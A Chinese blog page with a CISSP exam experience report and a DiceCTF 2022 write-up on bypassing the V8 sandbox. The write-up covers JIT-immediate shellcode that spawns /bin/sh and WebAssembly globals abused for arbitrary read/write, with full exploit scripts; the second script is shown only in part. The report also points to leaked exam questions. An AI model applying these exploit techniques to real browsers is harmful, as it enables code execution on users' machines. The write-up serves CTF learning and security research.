CISSP 认证过程分享

最近跟风考了个 CISSP ,前后花了大概20多天,分享下过程。

报名

直接在 ISC 官网找 CISSP,单次考试 $749,补考需要再交 $749。

最近 ISC 有 “考试安心保障” 活动, +$199 可以多一次补考的机会,怕一次过不去,我买了这个总价 $948。

虽然最后我没用到补考,但还是建议没信心的同学可以考虑下这个。

学习资源

  • 《CISSP官方学习指南(第8版)》,也称 OSG,为什么不是最新第9版?因为这本书自20年到我手上,已经在某个箱子底下压了2年。

  • https://firmianay.gitbook.io/cissp-notes/ firmianay大佬的总结归纳,虽然不是百分百全,但也很好用了,有几个域我没来得及看纸质书,直接看的这个学的。

  • 铭学在线 https://exam.maxstu.com/h5/100000/ ,这是用来刷题的,题目质量还可以,看完一章拿来巩固下,还自带错题集。

学习心得

OSG 能看完就尽量看完,一定要看,推荐纸质书,方便笔记。

书后面的练习要做,并且能完全理解。

书刷完以后,可以考虑二刷下 firmianay 的笔记,看完一个域做对应的铭学里的题。

铭学的题质量不错,还带有解析,务必理解。

然后就可以考虑刷模拟题了,模拟题网上资源应该不少,各位自己想办法。

可能你会找到翻译很烂的模拟题,做下来正确率也不高。不用怀疑,考试的题目就这水平,就刷题吧,遇到无法理解的 google 搜一下英文原题,一般都能搜到解释,可以 google hack 一下 examtopics.com,里面有不少 CISSP 的考题。

据说模拟题刷到正确率 60% 就能去考试了,我感觉是差不多。

因为我给自己排的时间比较紧,在考试前的最后两天才把所有域的知识刷完,然后刷了一天的题,就匆匆忙忙的就去考试了。

模拟题大概做了 100 多题,发现正确率很低,可能就 50% 左右,主要原因是翻译的题目看的很难受,题意很难理解,还特地问了下朋友考试是不是就这样子,得到肯定的答案后,考试前一晚都没睡好,一直刷题刷到2点。

关于题目

书后的习题以及铭学的题是非常友好的,题目题意选项都是能比较容易就理解的。

真实考题比较糟心,有不少翻译很难理解,需要自己看英语原题的,平时做题尽量对照着看下英语锻炼下。

我看到不少题是有争议的,因为在不同场景下的最佳实践是不一样的,可能多个选项都是对的。当然,也有可能考点藏的比较深,多思考一下。

遇到中英文都无法理解的题,就机选吧,不要在考试的时候搞自己心态(这很重要)。

有些题目可能有多个正确答案,选你觉得最合适的就行,也不用太纠结。

考试当天

我选的考场是上海徐汇区的腾飞大厦。

本来准备住考场附近,关注了下酒店价格有点小离谱,决定还是住家里,考试当天打个车。

6点从松江的家里出发,7点到腾飞大厦。上2楼,闸机刷脸上楼,来太早了工作人员都没来,在门外等了半个小时。

7点半开始入场,做考前讲解,寄存物品(一人一柜),身份验证。

接近8点进入考场,坐下以后就可以开始考试。

考场备了隔音耳机,效果不错。

考试过程可以离场喝水吃东西,跟监考的工作人员说一声就行。

考试的时间非常充裕,所以我做到150题的时候离场休息了,实在是坐太久了屁股疼 Orz。

估摸着休息了有20分钟,又回去战斗了。

我出考场的时候大概 11:30 ,快得有点超预期了。

跟着指引在门口打印了成绩单,看到单子上恭喜两个字小小激动了一下。

总结

我平时的工作是挖洞搞研究,对安全风向管理、资产管理、运营这种和技术关联不大的领域接触的少,了解的少,通过 CISSP 的认证,填补了这块知识的空缺,以后也许可能会用到吧。

V8 沙盒绕过

本文首发于跳跳糖 https://tttang.com/archive/1443/

V8 沙箱绕过

这是 DiceCTF2022 的一道题 memory hole。

题目给了我们修改任意 array 的 length 的能力,按过往的经验,接下来很简单,就是构造任意地址读写原语,构造 WASM 实例,读 RWX 空间地址,写 shellcode ,调 WASM 函数,结束。

但题目开启了 V8 沙箱,一个新的安全机制,直接阻止了我们构造任意地址读写,能访问的范围是 array 基址后连续的 4G 地址空间。

绕过这个沙箱是本题的重点,看了两篇wp有所收获,所以整理了下绕过手法,未来可能会用到。

【题目地址】 https://github.com/Jayl1n/CTF-Writeup/blob/master/DiceCTF2022/memory-hole/1984.tar.gz

指针压缩

64 位 V8 中使用了“指针压缩”的技术,即将 64 位指针转为 js_base + offset 的形式,只在内存当中存储 offset ,寄存器 $14 存储 js_base ,其中 offset 是 32 位的。JS 对象在解引用时,会从 $r14 + offset 的地址加载。因此 js_base + offset 被限制在很小的一个区域,无法访问任意地址。

如下,没有开启“指针压缩”的 ArrayBuffer 内存布局:

Untitled

开启后:

Untitled

绕过“指针压缩”的方法很简单,因为“指针压缩”只对堆上指针使用,堆外指针不会压缩。ArrayBufferBackingStore 是个堆外指针,可以直接修改 BackingStore 为任意地址进而实现任意地址读写。

V8 沙箱

V8 沙箱扩展“指针压缩”将 V8 堆上的所有原始指针都 “沙盒化”,比如 WebAssemblyRWX 页指针和 ArrayBufferBackingStore 指针。将这些外部指针都转为表的索引,以基址+偏移的方式访问,限制指针能访问的范围,防止攻击者利用 V8 漏洞实现内存任意地址读写。

V8 Sandbox - High-Level Design Doc

如下,未开启 V8 沙箱时的 ArrayBuffer 对象内存布局:

Untitled

开启沙箱后,BackingStore 替换为 0x45c00000000(偏移量 0x45c00,向左移动 24 位保证最高位为 0)。

Untitled

此时假设攻击者能从多个线程中任意破坏沙箱内的内存,现在需要一个额外的漏洞破坏沙箱外部的内存,从而执行任意代码。

绕过

方法一:利用立即数写 shellcode

(参考 https://mem2019.github.io/jekyll/update/2022/02/06/DiceCTF-Memory-Hole.html

JSFunction

先 DebugPrint 一个 JSFunction 的内存结构:

Untitled

这里有一个 code 字段,它指向了函数要执行的汇编指令,处于 r-x 页。

Untitled

Untitled

用 gdb 修改 code 字段 0x41414141

Untitled

继续执行,出现异常,此时 rcx0x2a0c41414141 ,即基址(0x2a0c00000000)+偏移(0x41414141)。

Untitled

看这段汇编,如果我们令[rcx + 0x1b] & 0x20000000 = 0rip 就会在之后被设置为 rcx+0x3f ,从而劫持 rip ,这个条件是比较容易满足的。

Untitled

使用立即数构造 shellcode

JS 函数的 JIT 代码存储在堆内,即基址开头的 32 位区域,如下,基址都是 0x350f00000000

Untitled

这个函数返回的是一个浮点数组,在汇编里,每个浮点数以立即数的形式存在,立即数占 8 个字节。

Untitled

立即数同样可以被识别为汇编指令,很容易想到可以利用这个立即数来布置 shellcode,只要将 shellcode 片段用 jmp 连接起来,就能将一个个立即数串联起来,实现完整的功能。

jmp 短跳需要 2 个字节,剩下 6 个字节可以自由发挥。

参考原作的脚本生成 shellcode,再将输出转为 IEEE 浮点表示。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
from pwn import *

context(arch='amd64')
jmp = b'\xeb\x0c'
shell = u64(b'/bin/sh\x00')

def make_double(code):
assert len(code) <= 6
print(hex(u64(code.ljust(6, b'\x90') + jmp))[2:])

make_double(asm("push %d; pop rax" % (shell >> 0x20)))
make_double(asm("push %d; pop rdx" % (shell % 0x100000000)))
make_double(asm("shl rax, 0x20; xor esi, esi"))
make_double(asm("add rax, rdx; xor edx, edx; push rax"))
code = asm("mov rdi, rsp; push 59; pop rax; syscall")
assert len(code) <= 8
print(hex(u64(code.ljust(8, b'\x90')))[2:])

"""
Output:
ceb580068732f68
ceb5a6e69622f68
cebf63120e0c148
ceb50d231d00148
50f583b6ae78948

IEEE:
1.95538254221075331056310651818E-246
1.95606125582421466942709801013E-246
1.99957147195425773436923756715E-246
1.95337673326740932133292175341E-246
2.63486047652296056448306022844E-284
"""

生成出来的 shellcode 是通过系统调用执行 /bin/sh

跟一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
gef➤  job 0x3de400045681
0x3de400045681: [Code]
- map: 0x3de40800263d <Map>
- code_data_container: 0x3de4081d360d <Other heap object (CODE_DATA_CONTAINER_TYPE)>
kind = TURBOFAN
stack_slots = 6
compiler = turbofan
address = 0x3de400045681

Instructions (size = 388)
0x3de4000456c0 0 8b59d0 movl rbx,[rcx-0x30]
...
0x3de400045735 75 c5fb114107 vmovsd [rcx+0x7],xmm0
0x3de40004573a 7a 49ba682f73680058eb0c REX.W movq r10,0xceb580068732f68
0x3de400045744 84 c4c1f96ec2 vmovq xmm0,r10
0x3de400045749 89 c5fb11410f vmovsd [rcx+0xf],xmm0
0x3de40004574e 8e 49ba682f62696e5aeb0c REX.W movq r10,0xceb5a6e69622f68
0x3de400045758 98 c4c1f96ec2 vmovq xmm0,r10
0x3de40004575d 9d c5fb114117 vmovsd [rcx+0x17],xmm0
0x3de400045762 a2 49ba48c1e02031f6eb0c REX.W movq r10,0xcebf63120e0c148
0x3de40004576c ac c4c1f96ec2 vmovq xmm0,r10
0x3de400045771 b1 c5fb11411f vmovsd [rcx+0x1f],xmm0
0x3de400045776 b6 49ba4801d031d250eb0c REX.W movq r10,0xceb50d231d00148
0x3de400045780 c0 c4c1f96ec2 vmovq xmm0,r10
0x3de400045785 c5 c5fb114127 vmovsd [rcx+0x27],xmm0
0x3de40004578a ca 49ba4889e76a3b580f05 REX.W movq r10,0x50f583b6ae78948
...

以指令格式查看这几个立即数,可以看到这几个立即数是通过 jmp 串联起来了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
gef➤  x/3i 0x3de40004573c
0x3de40004573c: push 0x68732f
0x3de400045741: pop rax
0x3de400045742: jmp 0x3de400045750
gef➤ x/3i 0x3de400045750
0x3de400045750: push 0x6e69622f
0x3de400045755: pop rdx
0x3de400045756: jmp 0x3de400045764
gef➤ x/3i 0x3de400045764
0x3de400045764: shl rax,0x20
0x3de400045768: xor esi,esi
0x3de40004576a: jmp 0x3de400045778
gef➤ x/4i 0x3de400045778
0x3de400045778: add rax,rdx
0x3de40004577b: xor edx,edx
0x3de40004577d: push rax
0x3de40004577e: jmp 0x3de40004578c
gef➤ x/4i 0x3de40004578C
0x3de40004578c: mov rdi,rsp
0x3de40004578f: push 0x3b
0x3de400045791: pop rax
0x3de400045792: syscall

执行

接下来就是劫持 rip

修改 JSFunction 对象的 code 字段,令 code + 0x3f = 0x3de40004573c

code 的计算方式 0x3de400045681 + (0x3de40004573c - 0x3f - 0x3de400045681) = 0x3de400045681 + 0x7c ,即原 code 值加 0x7c ,具体各位自行体会,原作的 jitAddr + 0xb3 - 0x3f 的计算在我这跑不起来,差了 8 个字节,不知道是不是环境问题。

Untitled

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
function dp(x) {}// %DebugPrint(x);}
const print = () => {};
const assert = function (b, msg)
{
if (!b)
throw Error(msg);
};
const __buf8 = new ArrayBuffer(8);
const __dvCvt = new DataView(__buf8);
function d2u(val)
{ //double ==> Uint64
__dvCvt.setFloat64(0, val, true);
return __dvCvt.getUint32(0, true) +
__dvCvt.getUint32(4, true) * 0x100000000;
}
function u2d(val)
{ //Uint64 ==> double
const tmp0 = val % 0x100000000;
__dvCvt.setUint32(0, tmp0, true);
__dvCvt.setUint32(4, (val - tmp0) / 0x100000000, true);
return __dvCvt.getFloat64(0, true);
}
function d22u(val)
{ //double ==> 2 * Uint32
__dvCvt.setFloat64(0, val, true);
}
const hex = (x) => ("0x" + x.toString(16));

/*
One weird thing is that as long as a function contains floating const,
allocated array object cannot reach the function object by OOB;
therefore, we use TypedArray arbitrary R/W in sbx to rewrite its field.
*/
const foo = ()=>
{
return [
1.0,
1.95538254221075331056310651818E-246,
1.95606125582421466942709801013E-246,
1.99957147195425773436923756715E-246,
1.95337673326740932133292175341E-246,
2.63486047652296056448306022844E-284];
}
for (let i = 0; i < 0x10000; i++) {
foo();foo();foo();foo();
}

const f = () => 123;
const arr = [1.1];
const o = {x:0x1337, a:foo, b:f}; // x makes a and b double align
const ua = new Uint32Array(2);

arr.setLength(36);
d22u(arr[3]);
const fooAddr = __dvCvt.getUint32(0, true);
const fAddr = __dvCvt.getUint32(4, true);
print(hex(fAddr));dp(f);
dp(ua);

function readOff(off)
{
arr[35] = u2d((off-7) * 0x100000000);
return ua[0];
}
function writeOff(off, val)
{
arr[35] = u2d((off-7) * 0x100000000);
ua[0] = val;
}
print(hex(fooAddr));dp(foo);
jitAddr = readOff(fooAddr + 0x17);
print('jitAddr');
print(hex(jitAddr));
print('rcx + 0x1b:') // rcx = jitAddr
print(hex(jitAddr + 0x1b));
print(hex(readOff(jitAddr + 0x1b)));
// %SystemBreak();
// writeOff(fAddr + 0x17, jitAddr + 0xb3 - 0x3f);
writeOff(fAddr + 0x17, jitAddr + 0x7c);
print(readOff(fooAddr + 0x17));
dp(foo);
// %SystemBreak();
f();

方法二:利用 WasmInstance 的全局变量

(参考:https://blog.kylebot.net/2022/02/06/DiceCTF-2022-memory-hole/

尽管沙箱几乎把所有指针都压缩了,但依然存在一些64位的原始指针,可以尝试劫持它们来绕过沙箱。

全局变量

WasmInstance 对象的 imported_mutable_globals 存储 WASM 代码中使用的所有全局变量,它并没有被沙箱保护起来。

下面是一个 WasmInstance 对象:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
DebugPrint: 0x3b17081d2f3d: [WasmInstanceObject] in OldSpace
- map: 0x3b1708206439 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3b1708046975 <Object map = 0x3b1708206c81>
- elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x3b1708048b69 <Module map = 0x3b17082062d1>
- exports_object: 0x3b1708048e85 <Object map = 0x3b1708206d21>
- native_context: 0x3b17081c2c75 <NativeContext[266]>
- imported_mutable_globals_buffers: 0x3b17081d3035 <FixedArray[1]>
- imported_function_refs: 0x3b1708002249 <FixedArray[0]>
- indirect_function_table_refs: 0x3b1708002249 <FixedArray[0]>
- managed_native_allocations: 0x3b1708048e61 <Foreign>
- managed object maps: 0x3b1708002249 <FixedArray[0]>
- feedback vectors: 0x3b1708002249 <FixedArray[0]>
- memory_start: (nil)
- memory_size: 0
- imported_function_targets: 0x560e9be53750
- globals_start: (nil)
- imported_mutable_globals: 0x560e9be53770
- ...

查看内存,imported_mutable_globals 确实还是64位。

1
2
3
4
5
6
7
8
9
10
11
gef➤  x/20xg 0x3b17081d2f3d-1
0x3b17081d2f3c: 0x0800224908206439 0x0800224908002249
0x3b17081d2f4c: 0x0000000008002249 0x0000000000000000
0x3b17081d2f5c: 0x0000000000000000 0x0000560e9bddc640
0x3b17081d2f6c: 0x0000560e9be53750 0x0000000000000000
0x3b17081d2f7c: 0x0000000000000000 0x0000000000000000
0x3b17081d2f8c: 0x0000560e9be53770 0x0000560e9bddc620
0x3b17081d2f9c: 0x0000246bb5adb000 0x0000560e9bde8a48
0x3b17081d2fac: 0x0000560e9bde8a40 0x0000560e9bde8a60
0x3b17081d2fbc: 0x0000560e9bde8a58 0x0000560e9bddc630
0x3b17081d2fcc: 0x0000560e9be53790 0x0000560e9be537b0

使用全局变量

1
2
3
4
var global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 12, 3, 96, 0, 1, 126, 96, 0, 0, 96, 1, 126, 0, 2, 14, 1, 2, 106, 115, 6, 103, 108, 111, 98, 97, 108, 3, 126, 1, 3, 4, 3, 0, 1, 2, 7, 37, 3, 9, 103, 101, 116, 71, 108, 111, 98, 97, 108, 0, 0, 9, 105, 110, 99, 71, 108, 111, 98, 97, 108, 0, 1, 9, 115, 101, 116, 71, 108, 111, 98, 97, 108, 0, 2, 10, 23, 3, 4, 0, 35, 0, 11, 9, 0, 35, 0, 66, 1, 124, 36, 0, 11, 6, 0, 32, 0, 36, 0, 11]);
var wasm_mod = new WebAssembly.Module(wasm_code);
var wasm_instance = new WebAssembly.Instance(wasm_mod, {js: {global}});

以上可以往 imported_mutable_globals 里添加一个 int64 的全局变量 。

注意global 这个变量是在当前堆上分配的,利用漏洞是可以修改这个对象的属性。

DebugPrint 一下这个 global

1
2
3
4
5
6
7
8
DebugPrint: 0xc7908048d0d: [WasmGlobalObject]
- map: 0x0c7908206821 <Map(HOLEY_ELEMENTS)>
- untagged_buffer: 0x0c7908048d31 <ArrayBuffer map = 0xc7908203289>
- offset: 0
- raw_type: 2
- is_mutable: 1
- type: i64
- is_mutable: 1

untagged_buffer 是一个 ArrayBuffer,backing_store0x3b1800002000 ,也就是 global 存储数据的地址。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
gef➤  job 0x3b1708048d31
0x3b1708048d31: [JSArrayBuffer]
- map: 0x3b1708203289 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3b17081c99e9 <Object map = 0x3b17082032b1>
- elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]
- embedder fields: 2
- backing_store: 0x3b1800002000
- byte_length: 8
- max_byte_length: 8
- detachable
- properties: 0x3b1708002249 <FixedArray[0]>
- All own properties (excluding elements): {}
- embedder fields = {
0, aligned pointer: (nil)
0, aligned pointer: (nil)
}

回过头看上面 wasm_instanceimported_mutable_globals

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
DebugPrint: 0x3b17081d2f3d: [WasmInstanceObject] in OldSpace
- map: 0x3b1708206439 <Map(HOLEY_ELEMENTS)> [FastProperties]
- prototype: 0x3b1708046975 <Object map = 0x3b1708206c81>
- elements: 0x3b1708002249 <FixedArray[0]> [HOLEY_ELEMENTS]
- module_object: 0x3b1708048b69 <Module map = 0x3b17082062d1>
- exports_object: 0x3b1708048e85 <Object map = 0x3b1708206d21>
- native_context: 0x3b17081c2c75 <NativeContext[266]>
- imported_mutable_globals_buffers: 0x3b17081d3035 <FixedArray[1]>
- imported_function_refs: 0x3b1708002249 <FixedArray[0]>
- indirect_function_table_refs: 0x3b1708002249 <FixedArray[0]>
- managed_native_allocations: 0x3b1708048e61 <Foreign>
- managed object maps: 0x3b1708002249 <FixedArray[0]>
- feedback vectors: 0x3b1708002249 <FixedArray[0]>
- memory_start: (nil)
- memory_size: 0
- imported_function_targets: 0x560e9be53750
- globals_start: (nil)
- imported_mutable_globals: 0x560e9be53770
- ...

这里的第一个元素即是 globalbacking_store 地址

1
2
3
4
5
6
gef➤  x/10xg 0x560e9be53770
0x560e9be53770: 0x00003b1800002000 0x00007fcdcb1bdca0
0x560e9be53780: 0x0000000000000000 0x0000000000000021
0x560e9be53790: 0x00007fcdcb1bdca0 0x00007fcdcb1bdca0
0x560e9be537a0: 0x0000000000000000 0x0000000000000021
0x560e9be537b0: 0x00007fcdcb1bdca0 0x00007fcdcb1bdca0

我们伪造一个 imported_mutable_globals 替换掉 wasm_instanceimported_mutable_globals ,即可做到任意地址读写。

伪造 imported_mutable_globals

imported_mutable_globals 并不是一个 JS 对象,不用泄漏 map ,伪造起来比较容易。

创建一个 array ,第一个元素是要读写的任意地址。

再泄漏这个 array 的偏移及基址 js_base 计算得到完整的 array 地址,覆盖掉用来的 imported_mutable_globals

泄漏 array 的偏移按常规的路子来就行,泄漏 js_base 见下一节。

一切搞好后,要读写任意地址,改 array[0] 即可。

获取基址 js_base

泄漏基址 js_base 并不难,多次运行 d8 ,搜索下基址:

第一次

1
2
3
4
5
6
7
8
gef➤  search-pattern 0x1c53
[+] Searching '\x53\x1c' in memory
[+] In (0x1c5300000000-0x1c5300003000), permission=rw-
0x1c530000001c - 0x1c5300000024 → "\x53\x1c[...]"
0x1c5300000024 - 0x1c530000002c → "\x53\x1c[...]"
0x1c5300000054 - 0x1c530000005c → "\x53\x1c[...]"
0x1c53000000f4 - 0x1c53000000fc → "\x53\x1c[...]"
...

第二次

1
2
3
4
5
6
7
8
gef➤  search-pattern 0x00002c3b
[+] Searching '\x3b\x2c\x00\x00' in memory
[+] In (0x2c3b00000000-0x2c3b00003000), permission=rw-
0x2c3b0000001c - 0x2c3b0000001e → ";,"
0x2c3b00000024 - 0x2c3b00000026 → ";,"
0x2c3b00000054 - 0x2c3b00000056 → ";,"
0x2c3b000000f4 - 0x2c3b000000f6 → ";,"
...

第三次

1
2
3
4
5
6
7
8
gef➤  search-pattern 0x3f13
[+] Searching '\x13\x3f' in memory
[+] In (0x3f1300000000-0x3f1300003000), permission=rw-
0x3f130000001c - 0x3f1300000024 → "\x13\x3f[...]"
0x3f1300000024 - 0x3f130000002c → "\x13\x3f[...]"
0x3f1300000054 - 0x3f130000005c → "\x13\x3f[...]"
0x3f13000000f4 - 0x3f13000000fc → "\x13\x3f[...]"
...

可以看到,在 [js_base , js_base+0x3000] 的区间就有一些64位的原始指针,如果能读到,就可以泄漏出基址。

具体的方法,构造一个 BigInt64Array 修改 external_pointer ,以及 byte_length ,让 BigInt64Array 能从 js_base 开始访问。

这里由于沙箱,data_ptr 的计算方式改为 js_base + base_pointer + (external_pointer << 2) ,需要注意 external_pointer 变为了偏移,如下图的 0x1000000

Untitled

修改 external_pointerbase_pointer0BigIng64Array 就会从 js_base 开始访问了。

修改全局变量

参考 mdm 提供的 demo https://github.com/mdn/webassembly-examples/blob/master/js-api-examples/global.wat ,添加修改 global 变量的函数。

1
2
3
4
5
6
7
8
(module
(global $g (import "js" "global") (mut i64))
(func (export "getGlobal") (result i64)
(global.get $g))
(func (export "setGlobal") (param i64)
(global.set $g
(get_local 0)))
)

用 wat2wasm https://webassembly.github.io/wabt/demo/wat2wasm/ 编译后,提取二进制格式的输出。

现在可以使用 WASM 修改全局变量了:

1
2
3
4
5
6
7
8
9
10
11
var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x09,0x02,0x60,0x00,0x01,0x7e,0x60,0x01,0x7e,0x00,0x02,0x0e,0x01,0x02,0x6a,0x73,0x06,0x67,0x6c,0x6f,0x62,0x61,0x6c,0x03,0x7e,0x01,0x03,0x03,0x02,0x00,0x01,0x07,0x19,0x02,0x09,0x67,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x00,0x09,0x73,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x01,0x0a,0x0d,0x02,0x04,0x00,0x23,0x00,0x0b,0x06,0x00,0x20,0x00,0x24,0x00,0x0b,0x00,0x14,0x04,0x6e,0x61,0x6d,0x65,0x02,0x07,0x02,0x00,0x00,0x01,0x01,0x00,0x00,0x07,0x04,0x01,0x00,0x01,0x67])
var wasm_mod = new WebAssembly.Module(wasm_code);

const global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_instance = new WebAssembly.Instance(wasm_mod, {js:{global}});

var getGlobal= wasm_instance.exports.getGlobal;
var setGlobal= wasm_instance.exports.setGlobal;

setGlobal(0x10000n);
console.log(getGlobal()); // 65535

EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
function dp(x) {} 
// function dp(x) {%DebugPrint(x);} // const print = console.log;
const print = (x) =>{console.log(x)};
class Helpers {
constructor() {
this.cvt_buf = new ArrayBuffer(8);
this.cvt_f64a = new Float64Array(this.cvt_buf);
this.cvt_u64a = new BigUint64Array(this.cvt_buf);
this.cvt_u32a = new Uint32Array(this.cvt_buf);
}

ftoi(f) {
this.cvt_f64a[0] = f;
return this.cvt_u64a[0];
}

itof(i) {
this.cvt_u64a[0] = i;
return this.cvt_f64a[0];
}

ftoil(f) {
this.cvt_f64a[0] = f;
return this.cvt_u32a[0];
}

ftoih(f) {
this.cvt_f64a[0] = f;
return this.cvt_u32a[1];
}

fsetil(f, l) {
this.cvt_f64a[0] = f;
this.cvt_u32a[0] = l;
return this.cvt_f64a[0];
}

fsetih(f, h) {
this.cvt_f64a[0] = f;
this.cvt_u32a[1] = h;
return this.cvt_f64a[0];
}

isetltof(i, l) {
this.cvt_u64a[0] = i;
this.cvt_u32a[0] = l;
return this.cvt_f64a[0];
}

isethtof(i, h) {
this.cvt_u64a[0] = i;
this.cvt_u32a[1] = h;
return this.cvt_f64a[0];
}

isetlhtof(l,h){
this.cvt_u32a[0] = l;
this.cvt_u32a[1] = h;
return this.cvt_f64a[0];
}

isetltoi(i,l){
this.cvt_u32a[0] = l;
return this.cvt_u64a[0];
}

isethtoi(i,h){
this.cvt_u32a[1] = h;
return this.cvt_u64a[0];
}

isetlhtoi(l,h){
this.cvt_u32a[0] = l;
this.cvt_u32a[1] = h;
return this.cvt_u64a[0];
}

igetl(i) {
this.cvt_u64a[0] = i;
return this.cvt_u32a[0];
}

igeth(i) {
this.cvt_u64a[0] = i;
return this.cvt_u32a[1];
}

gc() {
for (let i = 0; i < 100; i++) {
new ArrayBuffer(0x1000000);
}
}
printhex(s, val) {
//%DebugPrint(s + " 0x" + val.toString(16));
console.log(s + " 0x" + val.toString(16));
//document.write(s +' ' + val.toString(16) + " </br>");
//alert(s + " 0x" + val.toString(16));
}
};

var helper = new Helpers();

var oob_arr = [1.1, 2.2, 3.3];
var buf = new ArrayBuffer(0x100);
var i64arr= new BigUint64Array(buf);

var fake_imported_mutable_globals_arr = [0x1337133713371337];
var leaker = { 'x':fake_imported_mutable_globals_arr};

var wasm_code = new Uint8Array([0x00,0x61,0x73,0x6d,0x01,0x00,0x00,0x00,0x01,0x09,0x02,0x60,0x00,0x01,0x7e,0x60,0x01,0x7e,0x00,0x02,0x0e,0x01,0x02,0x6a,0x73,0x06,0x67,0x6c,0x6f,0x62,0x61,0x6c,0x03,0x7e,0x01,0x03,0x03,0x02,0x00,0x01,0x07,0x19,0x02,0x09,0x67,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x00,0x09,0x73,0x65,0x74,0x47,0x6c,0x6f,0x62,0x61,0x6c,0x00,0x01,0x0a,0x0d,0x02,0x04,0x00,0x23,0x00,0x0b,0x06,0x00,0x20,0x00,0x24,0x00,0x0b,0x00,0x14,0x04,0x6e,0x61,0x6d,0x65,0x02,0x07,0x02,0x00,0x00,0x01,0x01,0x00,0x00,0x07,0x04,0x01,0x00,0x01,0x67])
var wasm_mod = new WebAssembly.Module(wasm_code);
const global = new WebAssembly.Global({value:'i64', mutable:true}, 0n);
var wasm_instance = new WebAssembly.Instance(wasm_mod, {js:{global}});

var getGlobal= wasm_instance.exports.getGlobal;
var setGlobal= wasm_instance.exports.setGlobal;

function arbWrite(addr,val){
oob_arr[0x17] = helper.itof(addr);
setGlobal(BigInt.asUintN(64,BigInt(val)));
}

function arbRead(addr){
oob_arr[0x17] = helper.itof(addr);
return BigInt.asUintN(64, getGlobal());
}

function addrOf(obj){
leaker['x'] = obj;
return BigInt.asUintN(64,js_base + BigInt(helper.ftoih(oob_arr[0x1b])));
}

oob_arr.setLength(0x10000000/8);
dp(oob_arr);
dp(fake_imported_mutable_globals_arr);
dp(leaker);
// %DebugPrint(i64arr);
// %SystemBreak();

oob_arr[0x11] = helper.isethtof(helper.ftoi(oob_arr[0x11]),0x10000000); // length
oob_arr[0x13] = helper.itof(0n); // external_pointer
// %DebugPrint(i64arr);
// %SystemBreak();

// leak js_base
var js_base = 0n;
if( (i64arr[3] >> 32n ) == (i64arr[4] >> 32n)) {
js_base = BigInt.asUintN(64,i64arr[3]) & 0xffff00000000n;
}
helper.printhex('js_base @', js_base);

fake_imported_mutable_globals_arr_addr = addrOf(fake_imported_mutable_globals_arr);
fake_imported_mutable_globals_addr = fake_imported_mutable_globals_arr_addr - 0x9n;

// %SystemBreak();

oob_arr_addr = addrOf(oob_arr);
wasm_inst_addr = addrOf(wasm_instance);

imported_mutable_globals_offset = (wasm_inst_addr - js_base + 0x50n -1n ) / 8n;

dp(wasm_instance);
// %SystemBreak();

helper.printhex('fake_obj_addr @', fake_imported_mutable_globals_addr);
helper.printhex('oob_arr_addr @', oob_arr_addr);
helper.printhex('wasm_instance_addr @', wasm_inst_addr);
helper.printhex('wasm_instance.imported_mutable_globals_offset ', imported_mutable_globals_offset);

// i64arr[imported_mutable_globals_offset] = helper.isethtoi(i64arr[imported_mutable_globals_offset] , Number(fake_imported_mutable_globals_addr & 0xffffffffn));
// i64arr[imported_mutable_globals_offset + 1n] = helper.isetltoi(i64arr[imported_mutable_globals_offset + 1n], Number(fake_imported_mutable_globals_addr >> 32n));
helper.printhex('i64arr[globals_offset] @', i64arr[imported_mutable_globals_offset]);
i64arr[imported_mutable_globals_offset] = fake_imported_mutable_globals_addr;

dp(wasm_instance);
// %SystemBreak();

var wasm_code2= new Uint8Array([
0, 97, 115, 109, 1, 0, 0, 0, 1, 133, 128, 128, 128, 0, 1, 96, 0, 1, 127,
3, 130, 128, 128, 128, 0, 1, 0, 4, 132, 128, 128, 128, 0, 1, 112, 0, 0,
5, 131, 128, 128, 128, 0, 1, 0, 1, 6, 129, 128, 128, 128, 0, 0, 7, 145,
128, 128, 128, 0, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 4, 109, 97,
105, 110, 0, 0, 10, 138, 128, 128, 128, 0, 1, 132, 128, 128, 128, 0, 0,
65, 42, 11,
]);

var wasm_mod2 = new WebAssembly.Module(wasm_code2);
var wasm_instance2 = new WebAssembly.Instance(wasm_mod2);
var f = wasm_instance2.exports.main;

